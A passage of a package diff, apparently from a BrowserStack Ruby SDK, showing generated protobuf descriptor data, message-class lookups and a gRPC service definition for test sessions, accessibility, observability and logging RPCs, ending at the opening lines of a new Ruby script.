\x01(\tH\x02\x88\x01\x01\x12/\n\x06\x65rrors\x18\x05 \x03(\x0b\x32\x1f.browserstack.sdk.v1.KeyMessage\x12!\n\x14is_app_accessibility\x18\x06 \x01(\x08H\x03\x88\x01\x01\x1a\xf0\x05\n\x14\x41\x63\x63\x65ssibilityOptions\x12\x13\n\x06status\x18\x01 \x01(\tH\x00\x88\x01\x01\x12\x65\n\x0c\x63\x61pabilities\x18\x02 \x03(\x0b\x32O.browserstack.sdk.v1.Accessibility.AccessibilityOptions.AccessibilityCapability\x12\\\n\x07scripts\x18\x03 \x03(\x0b\x32K.browserstack.sdk.v1.Accessibility.AccessibilityOptions.AccessibilityScript\x12r\n\x10\x63ommands_to_wrap\x18\x04 \x01(\x0b\x32S.browserstack.sdk.v1.Accessibility.AccessibilityOptions.AccessibilityCommandsToWrapH\x01\x88\x01\x01\x1a\x95\x01\n\x1b\x41\x63\x63\x65ssibilityCommandsToWrap\x12\x16\n\x0escripts_to_run\x18\x01 \x03(\t\x12^\n\x08\x63ommands\x18\x02 \x03(\x0b\x32L.browserstack.sdk.v1.Accessibility.AccessibilityOptions.AccessibilityCommand\x1a\x64\n\x14\x41\x63\x63\x65ssibilityCommand\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0f\n\x07library\x18\x02 \x01(\t\x12\x0e\n\x06module\x18\x03 \x01(\t\x12\r\n\x05\x63lass\x18\x04 \x01(\t\x12\x0e\n\x06method\x18\x05 \x01(\t\x1a\x34\n\x13\x41\x63\x63\x65ssibilityScript\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0f\n\x07\x63ommand\x18\x02 \x01(\t\x1a\x36\n\x17\x41\x63\x63\x65ssibilityCapability\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\tB\t\n\x07_statusB\x13\n\x11_commands_to_wrapB\n\n\x08_optionsB\x11\n\x0f_error_trace_idB\x07\n\x05_codeB\x17\n\x15_is_app_accessibility\"\x90\x01\n\x1a\x41\x63\x63\x65ssibilityConfigRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\x0eplatform_index\x18\x02 \x01(\r\x12\x16\n\x0e\x66ramework_name\x18\x03 \x01(\t\x12\x19\n\x11\x66ramework_version\x18\x04 \x01(\t\x12\x0f\n\x07hub_url\x18\x05 \x01(\t\"\xc0\x01\n\x1b\x41\x63\x63\x65ssibilityConfigResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x32\n\x07testhub\x18\x02 \x01(\x0b\x32\x1c.browserstack.sdk.v1.TestHubH\x00\x88\x01\x01\x12>\n\raccessibility\x18\x03 \x01(\x0b\x32\".browserstack.sdk.v1.AccessibilityH\x01\x88\x01\x01\x42\n\n\x08_testhubB\x10\n\x0e_accessibility\"*\n\nKeyMessage\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x0f\n\x07message\x18\x02 \x01(\t\"\xfa\x02\n\rObservability\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12M\n\x07options\x18\x02 \x01(\x0b\x32\x37.browserstack.sdk.v1.Observability.ObservabilityOptionsH\x00\x88\x01\x01\x12\x1b\n\x0e\x65rror_trace_id\x18\x03 \x01(\tH\x01\x88\x01\x01\x12\x11\n\x04\x63ode\x18\x04 \x01(\tH\x02\x88\x01\x01\x12/\n\x06\x65rrors\x18\x05 \x03(\x0b\x32\x1f.browserstack.sdk.v1.KeyMessage\x12\x1d\n\x10options_as_bytes\x18\x06 \x01(\x0cH\x03\x88\x01\x01\x1aL\n\x14ObservabilityOptions\x12\x1e\n\x11\x61llow_screenshots\x18\x01 \x01(\tH\x00\x88\x01\x01\x42\x14\n\x12_allow_screenshotsB\n\n\x08_optionsB\x11\n\x0f_error_trace_idB\x07\n\x05_codeB\x13\n\x11_options_as_bytes\"k\n\x05Percy\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x1a\n\x12percy_capture_mode\x18\x02 \x01(\t\x12\x16\n\x0epercy_build_id\x18\x03 \x01(\t\x12\x1d\n\x15is_percy_auto_enabled\x18\x04 \x01(\x08\"\xd7\x01\n\x1aObservabilityConfigRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\x0eplatform_index\x18\x02 \x01(\r\x12\x1b\n\x13test_framework_name\x18\x03 \x01(\t\x12\x1e\n\x16test_framework_version\x18\x04 \x01(\t\x12\x14\n\x07hub_url\x18\x05 \x01(\tH\x00\x88\x01\x01\x12\x19\n\x0c\x63\x61pabilities\x18\x06 \x01(\tH\x01\x88\x01\x01\x42\n\n\x08_hub_urlB\x0f\n\r_capabilities\"\xec\x01\n\x1bObservabilityConfigResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x32\n\x07testhub\x18\x02 \x01(\x0b\x32\x1c.browserstack.sdk.v1.TestHubH\x00\x88\x01\x01\x12>\n\robservability\x18\x03 \x01(\x0b\x32\".browserstack.sdk.v1.ObservabilityH\x01\x88\x01\x01\x12\x19\n\x0c\x63\x61pabilities\x18\x04 \x01(\tH\x02\x88\x01\x01\x42\n\n\x08_testhubB\x10\n\x0e_observabilityB\x0f\n\r_capabilities\"\xf6\x02\n\x19TestFrameworkEventRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\x0eplatform_index\x18\x02 \x01(\r\x12\x1b\n\x13test_framework_name\x18\x03 \x01(\t\x12\x1e\n\x16test_framework_version\x18\x04 \x01(\t\x12\x0c\n\x04uuid\x18\x05 \x01(\t\x12\x12\n\nevent_json\x18\x06 \x01(\x0c\x12\x1c\n\x14test_framework_state\x18\x07 \x01(\t\x12\x17\n\x0ftest_hook_state\x18\x08 \x01(\t\x12\x12\n\nstarted_at\x18\t \x01(\t\x12\x15\n\x08\x65nded_at\x18\n \x01(\tH\x00\x88\x01\x01\x12\x45\n\x11\x65xecution_context\x18\x0b \x01(\x0b\x32%.browserstack.sdk.v1.ExecutionContextH\x01\x88\x01\x01\x42\x0b\n\t_ended_atB\x14\n\x12_execution_context\"i\n\x10\x45xecutionContext\x12\x11\n\tthread_id\x18\x01 \x01(\t\x12\x17\n\nprocess_id\x18\x02 \x01(\tH\x00\x88\x01\x01\x12\x11\n\x04hash\x18\x03 \x01(\tH\x01\x88\x01\x01\x42\r\n\x0b_process_idB\x07\n\x05_hash\"K\n\x1aTestFrameworkEventResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x12\n\x05\x65rror\x18\x02 \x01(\tH\x00\x88\x01\x01\x42\x08\n\x06_error\"]\n\x17\x45nqueueTestEventRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x11\n\tevent_url\x18\x02 \x01(\t\x12\x17\n\x0f\x65vent_data_json\x18\x03 \x01(\x0c\"I\n\x18\x45nqueueTestEventResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x12\n\x05\x65rror\x18\x02 \x01(\tH\x00\x88\x01\x01\x42\x08\n\x06_error\"\x8d\x05\n\x17TestSessionEventRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\x0eplatform_index\x18\x02 \x01(\r\x12\x1b\n\x13test_framework_name\x18\x03 \x01(\t\x12\x1e\n\x16test_framework_version\x18\x04 \x01(\t\x12\x1c\n\x14test_framework_state\x18\x05 \x01(\t\x12\x17\n\x0ftest_hook_state\x18\x06 \x01(\t\x12\x11\n\ttest_uuid\x18\x07 \x01(\t\x12[\n\x13\x61utomation_sessions\x18\x08 \x03(\x0b\x32>.browserstack.sdk.v1.TestSessionEventRequest.AutomationSession\x12\x45\n\x11\x65xecution_context\x18\t \x01(\x0b\x32%.browserstack.sdk.v1.ExecutionContextH\x00\x88\x01\x01\x12\x19\n\x0c\x63\x61pabilities\x18\n \x01(\x0cH\x01\x88\x01\x01\x1a\xd4\x01\n\x11\x41utomationSession\x12\x10\n\x08provider\x18\x01 \x01(\t\x12\x14\n\x07product\x18\x02 \x01(\tH\x00\x88\x01\x01\x12\x16\n\x0e\x66ramework_name\x18\x03 \x01(\t\x12\x19\n\x11\x66ramework_version\x18\x04 \x01(\t\x12\x1c\n\x14\x66ramework_session_id\x18\x05 \x01(\t\x12\x10\n\x03ref\x18\x06 \x01(\tH\x01\x88\x01\x01\x12\x14\n\x07hub_url\x18\x07 \x01(\tH\x02\x88\x01\x01\x42\n\n\x08_productB\x06\n\x04_refB\n\n\x08_hub_urlB\x14\n\x12_execution_contextB\x0f\n\r_capabilities\"I\n\x18TestSessionEventResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x12\n\x05\x65rror\x18\x02 \x01(\tH\x00\x88\x01\x01\x42\x08\n\x06_error\"\xa1\x04\n\x16LogCreatedEventRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\x0eplatform_index\x18\x02 \x01(\r\x12\x42\n\x04logs\x18\x03 \x03(\x0b\x32\x34.browserstack.sdk.v1.LogCreatedEventRequest.LogEntry\x12\x45\n\x11\x65xecution_context\x18\x04 \x01(\x0b\x32%.browserstack.sdk.v1.ExecutionContextH\x00\x88\x01\x01\x1a\xb5\x02\n\x08LogEntry\x12\x1b\n\x13test_framework_name\x18\x01 \x01(\t\x12\x1e\n\x16test_framework_version\x18\x02 \x01(\t\x12\x1c\n\x14test_framework_state\x18\x03 \x01(\t\x12\x11\n\ttimestamp\x18\x04 \x01(\t\x12\x0c\n\x04uuid\x18\x05 \x01(\t\x12\x0c\n\x04kind\x18\x06 \x01(\t\x12\x0f\n\x07message\x18\x07 \x01(\x0c\x12\x12\n\x05level\x18\x08 \x01(\tH\x00\x88\x01\x01\x12\x16\n\tfile_name\x18\t \x01(\tH\x01\x88\x01\x01\x12\x16\n\tfile_size\x18\n \x01(\x03H\x02\x88\x01\x01\x12\x16\n\tfile_path\x18\x0b \x01(\tH\x03\x88\x01\x01\x42\x08\n\x06_levelB\x0c\n\n_file_nameB\x0c\n\n_file_sizeB\x0c\n\n_file_pathB\x14\n\x12_execution_context\"H\n\x17LogCreatedEventResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x12\n\x05\x65rror\x18\x02 \x01(\tH\x00\x88\x01\x01\x42\x08\n\x06_error\"r\n\x1a\x41\x63\x63\x65ssibilityResultRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x13\n\x0btest_run_id\x18\x02 \x01(\t\x12\x12\n\nsession_id\x18\x03 \x01(\t\x12\x13\n\x0bresult_type\x18\x04 \x01(\t\"G\n\x1b\x41\x63\x63\x65ssibilityResultResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x17\n\x0fresult_response\x18\x02 \x01(\x0c\"y\n$FetchDriverExecuteParamsEventRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x0f\n\x07product\x18\x02 \x01(\t\x12\x18\n\x0bscript_name\x18\x03 \x01(\tH\x00\x88\x01\x01\x42\x0e\n\x0c_script_name\"\xc2\x01\n%FetchDriverExecuteParamsEventResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x13\n\x06script\x18\x02 \x01(\tH\x00\x88\x01\x01\x12)\n\x1c\x61\x63\x63\x65ssibility_execute_params\x18\x03 \x01(\x0cH\x01\x88\x01\x01\x12\x12\n\x05\x65rror\x18\x04 \x01(\tH\x02\x88\x01\x01\x42\t\n\x07_scriptB\x1f\n\x1d_accessibility_execute_paramsB\x08\n\x06_error2\xc6\x12\n\x03SDK\x12l\n\x0fStartBinSession\x12+.browserstack.sdk.v1.StartBinSessionRequest\x1a,.browserstack.sdk.v1.StartBinSessionResponse\x12r\n\x11\x43onnectBinSession\x12-.browserstack.sdk.v1.ConnectBinSessionRequest\x1a..browserstack.sdk.v1.ConnectBinSessionResponse\x12i\n\x0eStopBinSession\x12*.browserstack.sdk.v1.StopBinSessionRequest\x1a+.browserstack.sdk.v1.StopBinSessionResponse\x12]\n\nDriverInit\x12&.browserstack.sdk.v1.DriverInitRequest\x1a\'.browserstack.sdk.v1.DriverInitResponse\x12\x84\x01\n\x17\x41utomationFrameworkInit\x12\x33.browserstack.sdk.v1.AutomationFrameworkInitRequest\x1a\x34.browserstack.sdk.v1.AutomationFrameworkInitResponse\x12\x87\x01\n\x18\x41utomationFrameworkStart\x12\x34.browserstack.sdk.v1.AutomationFrameworkStartRequest\x1a\x35.browserstack.sdk.v1.AutomationFrameworkStartResponse\x12\x84\x01\n\x17\x41utomationFrameworkStop\x12\x33.browserstack.sdk.v1.AutomationFrameworkStopRequest\x1a\x34.browserstack.sdk.v1.AutomationFrameworkStopResponse\x12r\n\x11TestOrchestration\x12-.browserstack.sdk.v1.TestOrchestrationRequest\x1a..browserstack.sdk.v1.TestOrchestrationResponse\x12i\n\x0e\x46indNearestHub\x12*.browserstack.sdk.v1.FindNearestHubRequest\x1a+.browserstack.sdk.v1.FindNearestHubResponse\x12u\n\x12\x41IBrowserExtension\x12..browserstack.sdk.v1.AIBrowserExtensionRequest\x1a/.browserstack.sdk.v1.AIBrowserExtensionResponse\x12i\n\x0e\x41ISelfHealStep\x12*.browserstack.sdk.v1.AISelfHealStepRequest\x1a+.browserstack.sdk.v1.AISelfHealStepResponse\x12l\n\x13\x41ISelfHealGetResult\x12).browserstack.sdk.v1.AISelfHealGetRequest\x1a*.browserstack.sdk.v1.AISelfHealGetResponse\x12x\n\x13\x41\x63\x63\x65ssibilityConfig\x12/.browserstack.sdk.v1.AccessibilityConfigRequest\x1a\x30.browserstack.sdk.v1.AccessibilityConfigResponse\x12x\n\x13ObservabilityConfig\x12/.browserstack.sdk.v1.ObservabilityConfigRequest\x1a\x30.browserstack.sdk.v1.ObservabilityConfigResponse\x12x\n\x13\x41\x63\x63\x65ssibilityResult\x12/.browserstack.sdk.v1.AccessibilityResultRequest\x1a\x30.browserstack.sdk.v1.AccessibilityResultResponse\x12u\n\x12TestFrameworkEvent\x12..browserstack.sdk.v1.TestFrameworkEventRequest\x1a/.browserstack.sdk.v1.TestFrameworkEventResponse\x12o\n\x10TestSessionEvent\x12,.browserstack.sdk.v1.TestSessionEventRequest\x1a-.browserstack.sdk.v1.TestSessionEventResponse\x12o\n\x10\x45nqueueTestEvent\x12,.browserstack.sdk.v1.EnqueueTestEventRequest\x1a-.browserstack.sdk.v1.EnqueueTestEventResponse\x12l\n\x0fLogCreatedEvent\x12+.browserstack.sdk.v1.LogCreatedEventRequest\x1a,.browserstack.sdk.v1.LogCreatedEventResponse\x12\x96\x01\n\x1d\x46\x65tchDriverExecuteParamsEvent\x12\x39.browserstack.sdk.v1.FetchDriverExecuteParamsEventRequest\x1a:.browserstack.sdk.v1.FetchDriverExecuteParamsEventResponseb\x06proto3"
|
|
9
|
+
|
|
10
|
+
pool = ::Google::Protobuf::DescriptorPool.generated_pool
|
|
11
|
+
pool.add_serialized_file(descriptor_data)
|
|
12
|
+
|
|
13
|
+
module Browserstack
|
|
14
|
+
module Sdk
|
|
15
|
+
module V1
|
|
16
|
+
AutomationFrameworkInitRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AutomationFrameworkInitRequest").msgclass
|
|
17
|
+
AutomationFrameworkInitResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AutomationFrameworkInitResponse").msgclass
|
|
18
|
+
AutomationFrameworkStartRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AutomationFrameworkStartRequest").msgclass
|
|
19
|
+
AutomationFrameworkStartResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AutomationFrameworkStartResponse").msgclass
|
|
20
|
+
AutomationFrameworkStopRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AutomationFrameworkStopRequest").msgclass
|
|
21
|
+
AutomationFrameworkStopResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AutomationFrameworkStopResponse").msgclass
|
|
22
|
+
DriverInitRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.DriverInitRequest").msgclass
|
|
23
|
+
DriverInitResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.DriverInitResponse").msgclass
|
|
24
|
+
EnvMap = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.EnvMap").msgclass
|
|
25
|
+
EnvStreamProbe = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.EnvStreamProbe").msgclass
|
|
26
|
+
WebDriverStreamRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.WebDriverStreamRequest").msgclass
|
|
27
|
+
WebDriverCommand = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.WebDriverCommand").msgclass
|
|
28
|
+
FindNearestHubRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.FindNearestHubRequest").msgclass
|
|
29
|
+
FindNearestHubResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.FindNearestHubResponse").msgclass
|
|
30
|
+
StartBinSessionRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.StartBinSessionRequest").msgclass
|
|
31
|
+
StartBinSessionResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.StartBinSessionResponse").msgclass
|
|
32
|
+
ConnectBinSessionResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.ConnectBinSessionResponse").msgclass
|
|
33
|
+
TestOrchestration = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.TestOrchestration").msgclass
|
|
34
|
+
RunSmartSelection = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.RunSmartSelection").msgclass
|
|
35
|
+
RetryTestsOnFailure = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.RetryTestsOnFailure").msgclass
|
|
36
|
+
AbortBuildOnFailure = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AbortBuildOnFailure").msgclass
|
|
37
|
+
TestOrchestrationRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.TestOrchestrationRequest").msgclass
|
|
38
|
+
TestOrchestrationResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.TestOrchestrationResponse").msgclass
|
|
39
|
+
StopBinSessionRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.StopBinSessionRequest").msgclass
|
|
40
|
+
StopBinSessionResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.StopBinSessionResponse").msgclass
|
|
41
|
+
ConnectBinSessionRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.ConnectBinSessionRequest").msgclass
|
|
42
|
+
AIBrowserExtensionRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AIBrowserExtensionRequest").msgclass
|
|
43
|
+
AIBrowserExtensionResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AIBrowserExtensionResponse").msgclass
|
|
44
|
+
AISelfHealGetRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AISelfHealGetRequest").msgclass
|
|
45
|
+
AISelfHealGetResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AISelfHealGetResponse").msgclass
|
|
46
|
+
AISelfHealStepRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AISelfHealStepRequest").msgclass
|
|
47
|
+
AISelfHealStepResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AISelfHealStepResponse").msgclass
|
|
48
|
+
TestHub = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.TestHub").msgclass
|
|
49
|
+
Accessibility = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.Accessibility").msgclass
|
|
50
|
+
Accessibility::AccessibilityOptions = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.Accessibility.AccessibilityOptions").msgclass
|
|
51
|
+
Accessibility::AccessibilityOptions::AccessibilityCommandsToWrap = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.Accessibility.AccessibilityOptions.AccessibilityCommandsToWrap").msgclass
|
|
52
|
+
Accessibility::AccessibilityOptions::AccessibilityCommand = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.Accessibility.AccessibilityOptions.AccessibilityCommand").msgclass
|
|
53
|
+
Accessibility::AccessibilityOptions::AccessibilityScript = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.Accessibility.AccessibilityOptions.AccessibilityScript").msgclass
|
|
54
|
+
Accessibility::AccessibilityOptions::AccessibilityCapability = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.Accessibility.AccessibilityOptions.AccessibilityCapability").msgclass
|
|
55
|
+
AccessibilityConfigRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AccessibilityConfigRequest").msgclass
|
|
56
|
+
AccessibilityConfigResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AccessibilityConfigResponse").msgclass
|
|
57
|
+
KeyMessage = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.KeyMessage").msgclass
|
|
58
|
+
Observability = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.Observability").msgclass
|
|
59
|
+
Observability::ObservabilityOptions = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.Observability.ObservabilityOptions").msgclass
|
|
60
|
+
Percy = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.Percy").msgclass
|
|
61
|
+
ObservabilityConfigRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.ObservabilityConfigRequest").msgclass
|
|
62
|
+
ObservabilityConfigResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.ObservabilityConfigResponse").msgclass
|
|
63
|
+
TestFrameworkEventRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.TestFrameworkEventRequest").msgclass
|
|
64
|
+
ExecutionContext = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.ExecutionContext").msgclass
|
|
65
|
+
TestFrameworkEventResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.TestFrameworkEventResponse").msgclass
|
|
66
|
+
EnqueueTestEventRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.EnqueueTestEventRequest").msgclass
|
|
67
|
+
EnqueueTestEventResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.EnqueueTestEventResponse").msgclass
|
|
68
|
+
TestSessionEventRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.TestSessionEventRequest").msgclass
|
|
69
|
+
TestSessionEventRequest::AutomationSession = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.TestSessionEventRequest.AutomationSession").msgclass
|
|
70
|
+
TestSessionEventResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.TestSessionEventResponse").msgclass
|
|
71
|
+
LogCreatedEventRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.LogCreatedEventRequest").msgclass
|
|
72
|
+
LogCreatedEventRequest::LogEntry = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.LogCreatedEventRequest.LogEntry").msgclass
|
|
73
|
+
LogCreatedEventResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.LogCreatedEventResponse").msgclass
|
|
74
|
+
AccessibilityResultRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AccessibilityResultRequest").msgclass
|
|
75
|
+
AccessibilityResultResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.AccessibilityResultResponse").msgclass
|
|
76
|
+
FetchDriverExecuteParamsEventRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.FetchDriverExecuteParamsEventRequest").msgclass
|
|
77
|
+
FetchDriverExecuteParamsEventResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("browserstack.sdk.v1.FetchDriverExecuteParamsEventResponse").msgclass
|
|
78
|
+
end
|
|
79
|
+
end
|
|
80
|
+
end
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
# Generated by the protocol buffer compiler. DO NOT EDIT!
|
|
2
|
+
# Source: browserstack/sdk/v1/sdk.proto for package 'browserstack.sdk.v1'
|
|
3
|
+
|
|
4
|
+
require 'grpc'
|
|
5
|
+
require 'browserstack/sdk/v1/sdk_pb'
|
|
6
|
+
|
|
7
|
+
module Browserstack
|
|
8
|
+
module Sdk
|
|
9
|
+
module V1
|
|
10
|
+
module SDK
|
|
11
|
+
# import "google/protobuf/struct.proto";
|
|
12
|
+
#
|
|
13
|
+
class Service
|
|
14
|
+
|
|
15
|
+
include ::GRPC::GenericService
|
|
16
|
+
|
|
17
|
+
self.marshal_class_method = :encode
|
|
18
|
+
self.unmarshal_class_method = :decode
|
|
19
|
+
self.service_name = 'browserstack.sdk.v1.SDK'
|
|
20
|
+
|
|
21
|
+
rpc :StartBinSession, ::Browserstack::Sdk::V1::StartBinSessionRequest, ::Browserstack::Sdk::V1::StartBinSessionResponse
|
|
22
|
+
rpc :ConnectBinSession, ::Browserstack::Sdk::V1::ConnectBinSessionRequest, ::Browserstack::Sdk::V1::ConnectBinSessionResponse
|
|
23
|
+
rpc :StopBinSession, ::Browserstack::Sdk::V1::StopBinSessionRequest, ::Browserstack::Sdk::V1::StopBinSessionResponse
|
|
24
|
+
rpc :DriverInit, ::Browserstack::Sdk::V1::DriverInitRequest, ::Browserstack::Sdk::V1::DriverInitResponse
|
|
25
|
+
rpc :AutomationFrameworkInit, ::Browserstack::Sdk::V1::AutomationFrameworkInitRequest, ::Browserstack::Sdk::V1::AutomationFrameworkInitResponse
|
|
26
|
+
rpc :AutomationFrameworkStart, ::Browserstack::Sdk::V1::AutomationFrameworkStartRequest, ::Browserstack::Sdk::V1::AutomationFrameworkStartResponse
|
|
27
|
+
rpc :AutomationFrameworkStop, ::Browserstack::Sdk::V1::AutomationFrameworkStopRequest, ::Browserstack::Sdk::V1::AutomationFrameworkStopResponse
|
|
28
|
+
rpc :TestOrchestration, ::Browserstack::Sdk::V1::TestOrchestrationRequest, ::Browserstack::Sdk::V1::TestOrchestrationResponse
|
|
29
|
+
rpc :FindNearestHub, ::Browserstack::Sdk::V1::FindNearestHubRequest, ::Browserstack::Sdk::V1::FindNearestHubResponse
|
|
30
|
+
rpc :AIBrowserExtension, ::Browserstack::Sdk::V1::AIBrowserExtensionRequest, ::Browserstack::Sdk::V1::AIBrowserExtensionResponse
|
|
31
|
+
rpc :AISelfHealStep, ::Browserstack::Sdk::V1::AISelfHealStepRequest, ::Browserstack::Sdk::V1::AISelfHealStepResponse
|
|
32
|
+
rpc :AISelfHealGetResult, ::Browserstack::Sdk::V1::AISelfHealGetRequest, ::Browserstack::Sdk::V1::AISelfHealGetResponse
|
|
33
|
+
rpc :AccessibilityConfig, ::Browserstack::Sdk::V1::AccessibilityConfigRequest, ::Browserstack::Sdk::V1::AccessibilityConfigResponse
|
|
34
|
+
rpc :ObservabilityConfig, ::Browserstack::Sdk::V1::ObservabilityConfigRequest, ::Browserstack::Sdk::V1::ObservabilityConfigResponse
|
|
35
|
+
rpc :AccessibilityResult, ::Browserstack::Sdk::V1::AccessibilityResultRequest, ::Browserstack::Sdk::V1::AccessibilityResultResponse
|
|
36
|
+
rpc :TestFrameworkEvent, ::Browserstack::Sdk::V1::TestFrameworkEventRequest, ::Browserstack::Sdk::V1::TestFrameworkEventResponse
|
|
37
|
+
rpc :TestSessionEvent, ::Browserstack::Sdk::V1::TestSessionEventRequest, ::Browserstack::Sdk::V1::TestSessionEventResponse
|
|
38
|
+
rpc :EnqueueTestEvent, ::Browserstack::Sdk::V1::EnqueueTestEventRequest, ::Browserstack::Sdk::V1::EnqueueTestEventResponse
|
|
39
|
+
rpc :LogCreatedEvent, ::Browserstack::Sdk::V1::LogCreatedEventRequest, ::Browserstack::Sdk::V1::LogCreatedEventResponse
|
|
40
|
+
rpc :FetchDriverExecuteParamsEvent, ::Browserstack::Sdk::V1::FetchDriverExecuteParamsEventRequest, ::Browserstack::Sdk::V1::FetchDriverExecuteParamsEventResponse
|
|
41
|
+
end
|
|
42
|
+
|
|
43
|
+
Stub = Service.rpc_stub_class
|
|
44
|
+
end
|
|
45
|
+
end
|
|
46
|
+
end
|
|
47
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
